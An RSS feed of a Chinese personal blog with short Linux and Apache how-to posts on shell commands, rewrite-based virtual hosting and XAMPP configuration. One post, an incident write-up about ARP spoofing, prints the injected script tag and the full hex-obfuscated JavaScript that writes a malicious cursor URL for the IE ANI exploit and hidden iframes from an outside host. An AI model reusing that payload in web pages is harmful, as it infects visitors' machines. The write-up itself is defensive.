<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[kakapo's nest]]></title> 
<link>http://www.kakapo.cn/blog/index.php</link> 
<description><![CDATA[My Technical Knowledge Management System]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[kakapo's nest]]></copyright>
<item>
<link>http://www.kakapo.cn/blog/read.php?161</link>
<title><![CDATA[Linux常用命令行操作]]></title> 
<author>kakapo &lt;kakapowu@gmail.com&gt;</author>
<category><![CDATA[Linux/Apache]]></category>
<pubDate>Tue, 01 Dec 2009 07:02:27 +0000</pubDate> 
<guid>http://www.kakapo.cn/blog/read.php?161</guid> 
<description>
<![CDATA[ 
	1、查找文件<br/>a. 在指定目录下查找匹配的文件<br/>find /path/ -name file* <br/>b. 统计文件数<br/>find /path/ -name file* &#124;wc -l<br/><br/>2.增量备份文件<br/>tar -g snapshot -czvf backup.tar.gz /path/<br/><br/>tar ztf backup.tar.gz 检查压缩包<br/><br/>tar xzvf backup.tar.gz 解压缩<br/><br/>3. 查看文件数<br/>ls -l &#124; wc -l<br/><br/>4.查看文件大小<br/>du -sm /path/* (m 标识 MB)<br/><br/>5.ln的使用<br/>ln -s /source/path /dist/path<br/>说明：ln source dist 是产生一个连结(dist)到 source，至于使用硬连结或软链结则由参数决定。<br/>删除ln 可以用unlink /dist/path<br/><br/><br/>
]]>
</description>
</item><item>
<link>http://www.kakapo.cn/blog/read.php?145</link>
<title><![CDATA[[转]linux统计文件夹中文件数目]]></title> 
<author>kakapo &lt;kakapowu@gmail.com&gt;</author>
<category><![CDATA[Linux/Apache]]></category>
<pubDate>Tue, 06 May 2008 02:16:05 +0000</pubDate> 
<guid>http://www.kakapo.cn/blog/read.php?145</guid> 
<description>
<![CDATA[ 
	第一种方法：<br/><br/>ls -l&#124;grep “^-”&#124;wc -l<br/><br/>ls -l 长列表输出该目录下文件信息(注意这里的文件，不同于一般的文件，可能是目录、链接、设备文件等)。如果ls -lR&#124;grep “^-”&#124;wc-l则可以连子目录下的文件一起统计。<br/><br/>grep ^- 这里将长列表输出信息过滤一部分，只保留一般文件，如果只保留目录就是 ^d<br/><br/>wc -l 统计输出信息的行数，因为已经过滤得只剩一般文件了，所以统计结果就是一般文件信息的行数，又由于一行信息对应一个文件，所以也就是文件的个数。<br/><br/>第二种方法：<br/><br/>find ./ -type f&#124;wc -l<br/><br/>由于默认find会去子目录查找，如果只想查找当前目录的文件用find ./ -maxdepth 1 -type f&#124;wc -l即可。<br/><br/>需要说明的是第二种方法会比第一种方法快很多，尤其是也统计子目录时。<br/>
]]>
</description>
</item><item>
<link>http://www.kakapo.cn/blog/read.php?137</link>
<title><![CDATA[通过Rewrite规则快速搭建大量的虚拟主机]]></title> 
<author>kakapo &lt;kakapowu@gmail.com&gt;</author>
<category><![CDATA[Linux/Apache]]></category>
<pubDate>Mon, 25 Feb 2008 10:40:41 +0000</pubDate> 
<guid>http://www.kakapo.cn/blog/read.php?137</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp; 项目需要为多个域名搭建网站。一般的做法是给apache添加一段virtualhosts。但是如果是大量的网站就麻烦了，通过学习apache rewrite模块发现有可以替代的快速方法。<br/><br/>1.需要创建一个vhost.map文件<br/>内容如下<br/><div class="code"><br/>www.a.com E:&#92;platform&#92;a<br/>www.b.com E:&#92;platform&#92;b<br/>...<br/></div><br/><br/>2.在apache的第一个虚拟主机(默认)virtualhost段里面加入rewrite 规则<br/>内容如下:<br/><div class="code"><br/><br/>RewriteEngine on<br/><br/>#字母小写方法<br/>RewriteMap&nbsp;&nbsp;&nbsp;&nbsp;lowercase&nbsp;&nbsp;&nbsp;&nbsp;int:tolower<br/><br/>#引入 vhost.map文件<br/>RewriteMap&nbsp;&nbsp;&nbsp;&nbsp;vhost&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;txt:E:&#92;platform&#92;vhost.map<br/><br/>#确认拥有主机头报文<br/>RewriteCond&nbsp;&nbsp; %&#123;HTTP_HOST&#125;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !^$<br/><br/>#将hostname变量转换成小写<br/>RewriteCond&nbsp;&nbsp; $&#123;lowercase:%&#123;HTTP_HOST&#125;&#124;NONE&#125;&nbsp;&nbsp;^(.+)$<br/><br/>#转跳到host地址&nbsp;&nbsp; <br/>RewriteRule&nbsp;&nbsp;^/(.*)$ $&#123;vhost:%1&#125;/$1<br/></div><br/><br/>保存，重起apache，完毕！每次需要增加一个网站，只要修改vhost.map文件，快速简单，域名配置的时候只要指向服务器的ip地址。<br/><br/>参考资料http://httpd.apache.org/docs/2.0/misc/rewriteguide.html&nbsp;&nbsp; Mass Virtual Hosting<br/><br/><br/>Tags - <a href="http://www.kakapo.cn/blog/tag.php?tag=apache" rel="tag">apache</a> , <a href="http://www.kakapo.cn/blog/tag.php?tag=rewrite" rel="tag">rewrite</a> , <a href="http://www.kakapo.cn/blog/tag.php?tag=%25E5%25A4%25A7%25E9%2587%258F%25E7%259A%2584%25E8%2599%259A%25E6%258B%259F%25E4%25B8%25BB%25E6%259C%25BA" rel="tag">大量的虚拟主机</a>
]]>
</description>
</item><item>
<link>http://www.kakapo.cn/blog/read.php?128</link>
<title><![CDATA[察看文件系统状况实用命令]]></title> 
<author>kakapo &lt;kakapowu@gmail.com&gt;</author>
<category><![CDATA[Linux/Apache]]></category>
<pubDate>Tue, 27 Nov 2007 08:17:21 +0000</pubDate> 
<guid>http://www.kakapo.cn/blog/read.php?128</guid> 
<description>
<![CDATA[ 
	察看根目录下每个目录总的文件大小：<br/>du -sm /*<br/><br/>察看分区状况:<br/>df -h
]]>
</description>
</item><item>
<link>http://www.kakapo.cn/blog/read.php?124</link>
<title><![CDATA[个性化域名的实现]]></title> 
<author>kakapo &lt;kakapowu@gmail.com&gt;</author>
<category><![CDATA[Linux/Apache]]></category>
<pubDate>Tue, 16 Oct 2007 02:31:39 +0000</pubDate> 
<guid>http://www.kakapo.cn/blog/read.php?124</guid> 
<description>
<![CDATA[ 
	<br/> &nbsp; &nbsp; &nbsp; &nbsp; 个性化域名，即将网站用户的用户名作为二级域名的前缀。比如像: http://jonson.kakapo.cn<br/>如何实现这种功能呢？我采用三个步骤来实现：<br/> &nbsp; &nbsp; &nbsp;1、在域名管理网站增加一个A记录，比如：*.kakapo.cn，然后指向一台apache服务器的ip地址。这个叫泛域名解析。<br/> &nbsp; &nbsp; &nbsp;2、在那台apche服务器的主机配置中，在你要实现个性化域名的虚拟主机配置代码中加入一段代码：<br/><div class="code">ServerAlias kakapo.cn *.kakapo.cn</div><br/><br/>举例：<br/><div class="code"><br/>NameVirtualHost *:80<br/><br/>&lt;VirtualHost *:80&gt;<br/><br/>ServerName www.domain.tld<br/>ServerAlias domain.tld *.domain.tld<br/>DocumentRoot /www/domain<br/><br/>&lt;/VirtualHost&gt;<br/></div><br/><br/> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;3、这步是采用url_rewrite规则完成。这个规则可以写在apache的虚拟主机配置里，也可以写在.htaccess里面。<br/><br/>举例代码如下:<br/><div class="code"><br/>RewriteEngine on<br/>RewriteCond %&#123;HTTP_HOST&#125; (?!www&#124;shop&#124;bbs&#124;home&#124;pay&#124;account&#124;admin&#124;cms&#124;image)^&#91;a-z0-9&#92;-&#93;+&#92;.kakapo&#92;.cn$<br/>RewriteRule ^/?$ /%&#123;HTTP_HOST&#125;<br/>RewriteRule ^/(&#91;a-z0-9&#92;-&#93;+)&#92;.kakapo&#92;.cn/?$ space/space.php?action=space&amp;view=defaults&amp;uname=$1 &#91;L&#93;<br/></div><br/>Tags - <a href="http://www.kakapo.cn/blog/tag.php?tag=%25E5%259F%259F%25E5%2590%258D%25E8%25A7%25A3%25E6%259E%2590" rel="tag">域名解析</a>
]]>
</description>
</item><item>
<link>http://www.kakapo.cn/blog/read.php?118</link>
<title><![CDATA[如何配置XAMPP的虚拟主机]]></title> 
<author>kakapo &lt;kakapowu@gmail.com&gt;</author>
<category><![CDATA[Linux/Apache]]></category>
<pubDate>Mon, 20 Aug 2007 16:34:22 +0000</pubDate> 
<guid>http://www.kakapo.cn/blog/read.php?118</guid> 
<description>
<![CDATA[ 
	apache的虚拟主机配置在两三年前就知道，但是因为太久竟然也忘记也一些规则。今天在给xampp配置虚拟主机的时候，被其内置的规则搞的有点晕。最后只能回头再去阅读一下apache文档才彻底搞清楚了。备忘一下。<br/><br/>首先xampp在httpd.conf里面配置禁止遍历整个文件系统,对文件系统的默认访问被禁止,保护服务器文件。原来配置如下：<br/><div class="code"><br/>&lt;Directory /&gt;<br/> &nbsp; &nbsp;Options FollowSymLinks<br/> &nbsp; &nbsp;AllowOverride None<br/> &nbsp; &nbsp;Order deny,allow<br/> &nbsp; &nbsp;Deny from all<br/>&lt;/Directory&gt;<br/></div><br/>但是如果要让虚拟主机能被访问，有两个解决办法：一个是在全局<Directory />里将Deny from all改成Allow from all ，但是有没发起到保护文件的作用；另一个办法是在虚拟主机<VirtualHost>里面加<Directory>代码，如下：<br/><div class="code"><br/><br/><br/>&lt;VirtualHost *:80&gt;<br/> &nbsp; &nbsp;ServerAdmin webmaster@eachbrand.com<br/> &nbsp; &nbsp;DocumentRoot D:&#92;projects&#92;eachbrand.com<br/> &nbsp; &nbsp;ServerName www.eachbrand.com<br/> &nbsp; &nbsp;##能通过多个域名访问<br/> &nbsp; &nbsp;#ServerAlias eachbrand.com *.eachbrand.com<br/> &nbsp; &nbsp;ErrorLog logs/www.eachbrand.com-error_log<br/> &nbsp; &nbsp;CustomLog logs/www.eachbrand.com-access_log common<br/><br/> &nbsp; &nbsp;&lt;Directory /&gt;<br/> &nbsp; &nbsp; &nbsp;AllowOverride All<br/> &nbsp; &nbsp; &nbsp;Order deny,allow<br/> &nbsp; &nbsp; &nbsp;Allow from all<br/> &nbsp; &nbsp;&lt;/Directory&gt;<br/>&lt;/VirtualHost&gt;<br/></div><br/><br/><br/><span style="font-size: 14px;">基于域名的虚拟主机规则</span> <br/>1.必须指定服务器IP地址(和可能的端口)来使主机接受请求，这个可以用NameVirtualHost指令来进行配置。如果服务器上所有的IP地址都会用到，你可以用"*"作为NameVirtualHost的参数。如果你打算使用多端口(如运行SSL)你必须在参数中指定一个端口号，比如"*:80"。<br/><br/>2.为每个虚拟主机建立<br/><div class="code">&lt;VirtualHost&gt;</div>段<br/><div class="code">&lt;VirtualHost&gt;</div>的参数与NameVirtualHost的参数必须是一样的(比如说，一个IP地址或"*"代表的所有地址)。在每个VirtualHost段中，至少要有一个ServerName指令来指定伺服哪个主机和一个DocumentRoot指令来说明这个主机的内容位于文件系统的什么地方。<br/><br/>3.取消中心主机, 如果你想在现有的web服务器上增加虚拟主机，你必须也为现存的主机建造一个<br/><div class="code">&lt;VirtualHost&gt;</div>定义块。这个虚拟主机中ServerName和DocumentRoot所包含的内容应该与全局的ServerName和DocumentRoot保持一致。还要把这个虚拟主机放在配置文件的最前面，来让它扮演默认主机的角色。<br/><br/>示范代码：<br/><br/><div class="code"><br/><br/>NameVirtualHost *:80<br/><br/>## for mainhost<br/>&lt;VirtualHost *:80&gt;<br/>ServerName localhost:80<br/>DocumentRoot &quot;/xampp/htdocs&quot;<br/>&lt;/VirtualHost&gt;<br/><br/>## for virtualhost<br/>&lt;VirtualHost *:80&gt;<br/> &nbsp; &nbsp;ServerAdmin webmaster@kakapo.cn<br/> &nbsp; &nbsp;DocumentRoot D:&#92;projects&#92;kakapo.cn<br/> &nbsp; &nbsp;ServerName www.kakapo.cn<br/> &nbsp; &nbsp;##能通过多个域名访问<br/> &nbsp; #ServerAlias kakapo.cn *.kakapo.cn<br/> &nbsp; &nbsp;ErrorLog logs/www.kakapo.cn-error_log<br/> &nbsp; &nbsp;CustomLog logs/www.kakapo.cn-access_log common<br/>&lt;/VirtualHost&gt;<br/></div><br/><br/>更多虚拟主机的配置示例代码请访问：<br/>http://www.toplee.com/manuals/apache/apache2/vhosts/examples.html<br/><br/><br/><br/><br/>Tags - <a href="http://www.kakapo.cn/blog/tag.php?tag=apache" rel="tag">apache</a> , <a href="http://www.kakapo.cn/blog/tag.php?tag=%25E8%2599%259A%25E6%258B%259F%25E4%25B8%25BB%25E6%259C%25BA" rel="tag">虚拟主机</a>
]]>
</description>
</item><item>
<link>http://www.kakapo.cn/blog/read.php?99</link>
<title><![CDATA[察看进程命令]]></title> 
<author>kakapo &lt;kakapowu@gmail.com&gt;</author>
<category><![CDATA[Linux/Apache]]></category>
<pubDate>Mon, 30 Apr 2007 06:00:32 +0000</pubDate> 
<guid>http://www.kakapo.cn/blog/read.php?99</guid> 
<description>
<![CDATA[ 
	ps auxw &#124; grep "memcached"
]]>
</description>
</item><item>
<link>http://www.kakapo.cn/blog/read.php?98</link>
<title><![CDATA[网站被黑的假象--ARP欺骗]]></title> 
<author>kakapo &lt;kakapowu@gmail.com&gt;</author>
<category><![CDATA[Linux/Apache]]></category>
<pubDate>Fri, 27 Apr 2007 03:58:33 +0000</pubDate> 
<guid>http://www.kakapo.cn/blog/read.php?98</guid> 
<description>
<![CDATA[ 
	 &nbsp; &nbsp; &nbsp; &nbsp; 昨天晚上发现访问我的网站的时候网页代码html的前面多了一串js代码。刚开始以为网站被黑了，赶紧到服务器上查看所有文件是否带有这串js代码，搜索结果没有，而且服务器也没发现被入侵的痕迹。<br/><div class="code">&lt;script src=http://fuck.ns2go.com/dir/index_pic/1.js&gt;&lt;/script&gt;</div><br/><br/>于是只能从这段代码入手，我下载这个js开发发现是下面一段代码：<br/><div class="code">window&#91;&quot;&#92;x64&#92;x6f&#92;x63&#92;x75&#92;x6d&#92;x65&#92;x6e&#92;x74&quot;&#93;&#91;&quot;&#92;x77&#92;x72&#92;x69&#92;x74&#92;x65&#92;x6c&#92;x6e&quot;&#93;(&quot;&#92;x3c&#92;x44&#92;x49&#92;x56 &#92;x73&#92;x74&#92;x79&#92;x6c&#92;x65&#92;x3d&#92;&quot;&#92;x43&#92;x55&#92;x52&#92;x53&#92;x4f&#92;x52&#92;x3a &#92;x75&#92;x72&#92;x6c&#92;x28&#92;&#039;&#92;x68&#92;x74&#92;x74&#92;x70&#92;x3a&#92;/&#92;/&#92;x66&#92;x75&#92;x63&#92;x6b&#92;x2e&#92;x6e&#92;x73&#92;x32&#92;x67&#92;x6f&#92;x2e&#92;x63&#92;x6f&#92;x6d&#92;/&#92;x64&#92;x69&#92;x72&#92;/&#92;x69&#92;x6e&#92;x64&#92;x65&#92;x78&#92;x5f&#92;x70&#92;x69&#92;x63&#92;/&#92;x31&#92;x2e&#92;x67&#92;x69&#92;x66&#92;&#039;&#92;x29&#92;&quot;&#92;x3e&quot;);<br/>window&#91;&quot;&#92;x64&#92;x6f&#92;x63&#92;x75&#92;x6d&#92;x65&#92;x6e&#92;x74&quot;&#93;&#91;&quot;&#92;x77&#92;x72&#92;x69&#92;x74&#92;x65&#92;x6c&#92;x6e&quot;&#93;(&quot;&#92;x3c&#92;x44&#92;x49&#92;x56 &#92;x73&#92;x74&#92;x79&#92;x6c&#92;x65&#92;x3d&#92;&quot;&#92;x43&#92;x55&#92;x52&#92;x53&#92;x4f&#92;x52&#92;x3a &#92;x75&#92;x72&#92;x6c&#92;x28&#92;&#039;&#92;x68&#92;x74&#92;x74&#92;x70&#92;x3a&#92;/&#92;/&#92;x66&#92;x75&#92;x63&#92;x6b&#92;x2e&#92;x6e&#92;x73&#92;x32&#92;x67&#92;x6f&#92;x2e&#92;x63&#92;x6f&#92;x6d&#92;/&#92;x64&#92;x69&#92;x72&#92;/&#92;x69&#92;x6e&#92;x64&#92;x65&#92;x78&#92;x5f&#92;x70&#92;x69&#92;x63&#92;/&#92;x32&#92;x2e&#92;x67&#92;x69&#92;x66&#92;&#039;&#92;x29&#92;&quot;&#92;x3e&#92;x3c&#92;/&#92;x44&#92;x49&#92;x56&#92;x3e&#92;x3c&#92;/&#92;x44&#92;x49&#92;x56&#92;x3e&quot;);<br/>window&#91;&quot;&#92;x64&#92;x6f&#92;x63&#92;x75&#92;x6d&#92;x65&#92;x6e&#92;x74&quot;&#93;&#91;&quot;&#92;x77&#92;x72&#92;x69&#92;x74&#92;x65&#92;x6c&#92;x6e&quot;&#93;(&quot;&#92;x3c&#92;x69&#92;x66&#92;x72&#92;x61&#92;x6d&#92;x65 &#92;x73&#92;x72&#92;x63&#92;x3d&#92;x68&#92;x74&#92;x74&#92;x70&#92;x3a&#92;/&#92;/&#92;x66&#92;x75&#92;x63&#92;x6b&#92;x2e&#92;x6e&#92;x73&#92;x32&#92;x67&#92;x6f&#92;x2e&#92;x63&#92;x6f&#92;x6d&#92;/&#92;x64&#92;x69&#92;x72&#92;/&#92;x69&#92;x6e&#92;x64&#92;x65&#92;x78&#92;x5f&#92;x70&#92;x69&#92;x63&#92;/&#92;x30&#92;x36&#92;x30&#92;x31&#92;x34&#92;x2e&#92;x68&#92;x74&#92;x6d &#92;x77&#92;x69&#92;x64&#92;x74&#92;x68&#92;x3d&#92;x31 &#92;x68&#92;x65&#92;x69&#92;x67&#92;x68&#92;x74&#92;x3d&#92;x31&#92;x3e&#92;x3c&#92;/&#92;x69&#92;x66&#92;x72&#92;x61&#92;x6d&#92;x65&#92;x3e&quot;);<br/>window&#91;&quot;&#92;x64&#92;x6f&#92;x63&#92;x75&#92;x6d&#92;x65&#92;x6e&#92;x74&quot;&#93;&#91;&quot;&#92;x77&#92;x72&#92;x69&#92;x74&#92;x65&#92;x6c&#92;x6e&quot;&#93;(&quot;&#92;x3c&#92;x69&#92;x66&#92;x72&#92;x61&#92;x6d&#92;x65 &#92;x73&#92;x72&#92;x63&#92;x3d&#92;x68&#92;x74&#92;x74&#92;x70&#92;x3a&#92;/&#92;/&#92;x66&#92;x75&#92;x63&#92;x6b&#92;x2e&#92;x6e&#92;x73&#92;x32&#92;x67&#92;x6f&#92;x2e&#92;x63&#92;x6f&#92;x6d&#92;/&#92;x64&#92;x69&#92;x72&#92;/&#92;x69&#92;x6e&#92;x64&#92;x65&#92;x78&#92;x5f&#92;x70&#92;x69&#92;x63&#92;/&#92;x74&#92;x6a&#92;x2e&#92;x68&#92;x74&#92;x6d &#92;x77&#92;x69&#92;x64&#92;x74&#92;x68&#92;x3d&#92;x30 &#92;x68&#92;x65&#92;x69&#92;x67&#92;x68&#92;x74&#92;x3d&#92;x30&#92;x3e&#92;x3c&#92;/&#92;x69&#92;x66&#92;x72&#92;x61&#92;x6d&#92;x65&#92;x3e&quot;)</div><br/><br/>在google上搜索发现有人已经发现同样情况.<a href="http://0e2.net/post/676.html" target="_blank">http://0e2.net/post/676.html</a><br/><br/>看了这篇文章之后了解到不是服务器被黑了,而是服务器所在的机房内网有中木马病毒的主机在搞arp欺骗.<br/>这些木马捕抓了我的服务器发送出来的报文之后,篡改了报文的内容,在html头加入了前面那段木马病毒代码.然后再转发给访问我网站的用户主机.这段木马是针对ie的ani漏洞的,微软用户的电脑要赶紧升级打补丁.<br/><br/>最后问题就在于如何让我的服务器防止被ARP欺骗.打电话到机房,技术人员让我们将mac和ip地址绑定,问题终于解决.<br/><br/>关于ARP欺骗相关知识:<br/><br/><a href="http://zhidao.baidu.com/question/7980952.html?si=1" target="_blank">http://zhidao.baidu.com/question/7980952.html?si=1</a><br/><br/><br/>Tags - <a href="http://www.kakapo.cn/blog/tag.php?tag=arp" rel="tag">arp</a>
]]>
</description>
</item><item>
<link>http://www.kakapo.cn/blog/read.php?92</link>
<title><![CDATA[linux软件的安装与卸载总结]]></title> 
<author>kakapo &lt;kakapowu@gmail.com&gt;</author>
<category><![CDATA[Linux/Apache]]></category>
<pubDate>Wed, 04 Apr 2007 01:38:05 +0000</pubDate> 
<guid>http://www.kakapo.cn/blog/read.php?92</guid> 
<description>
<![CDATA[ 
	一、二进制分发软件包的安装与卸载<br/>1、*.rpm形式的二进制软件包<br/><br/>　　安装：rpm -ivh *.rpm<br/><br/>　　卸载：rpm -e packgename<br/><br/>2、*.tar.gz/*.tgz、*.bz2形式的二进制软件包<br/><br/>　　安装：tar zxvf *.tar.gz 或 tar yxvf *.bz2<br/><br/>　　卸载：手动删除<br/><br/>3、提供安装程序的软件包<br/><br/>　　这类软件包已经提供了安装脚本或二进制的安装向导程序（setup、install、install.sh等），只需运行它就可以完成软件的安装；而卸载时也相应地提供了反安装的脚本或程序。<br/><br/>二、源代码分发软件包的安装与卸载<br/>1、*.src.rpm形式的源代码软件包<br/><br/>　　安装：rpm -rebuild *.src.rpm<br/><br/>　　cd /usr/src/dist/RPMS<br/><br/>　　rpm -ivh *.rpm<br/><br/>　　卸载：rpm -e packgename<br/><br/>2、*.tar.gz/*.tgz、*.bz2形式的源代码软件包<br/><br/>　　安装：tar zxvf *.tar.gz 或 tar yxvf *.bz2 先解压<br/><br/>　　然后进入解压后的目录：<br/><br/>　　./configure 配置<br/><br/>　　make 编译<br/><br/>　　make install 安装<br/><br/>　　卸载：make uninstall 或 手动删除<br/><br/>详细文章地址：http://tech.sina.com.cn/s/s/2006-04-20/0730912447.shtml<br/>Tags - <a href="http://www.kakapo.cn/blog/tag.php?tag=linux" rel="tag">linux</a>
]]>
</description>
</item><item>
<link>http://www.kakapo.cn/blog/read.php?91</link>
<title><![CDATA[apache 不同版本 ./configure 参数区别]]></title> 
<author>kakapo &lt;kakapowu@gmail.com&gt;</author>
<category><![CDATA[Linux/Apache]]></category>
<pubDate>Tue, 03 Apr 2007 10:04:56 +0000</pubDate> 
<guid>http://www.kakapo.cn/blog/read.php?91</guid> 
<description>
<![CDATA[ 
	apache的模块最大化安装,然后修改配置，去掉不经常用的模块，方便日后升级。<br/><br/><div class="code"><br/>apache 2.0.x<br/>./configure --prefix=/usr/local/apache2 --enable-modules=most --enable-mods-shared=all --enable-so --enable-rewrite<br/><br/><br/>apache 2.2.0<br/>./configure --prefix=/usr/local/apache2 --enable-mods-shared=all --enable-so --enable-rewrite<br/><br/><br/>apache 1.3.x<br/>./configure --prefix=/usr/local/apache --enable-module=so --enable-module=most --enable-shared=max --enable-module=rewrite<br/></div><br/>Tags - <a href="http://www.kakapo.cn/blog/tag.php?tag=apache" rel="tag">apache</a>
]]>
</description>
</item>
</channel>
</rss>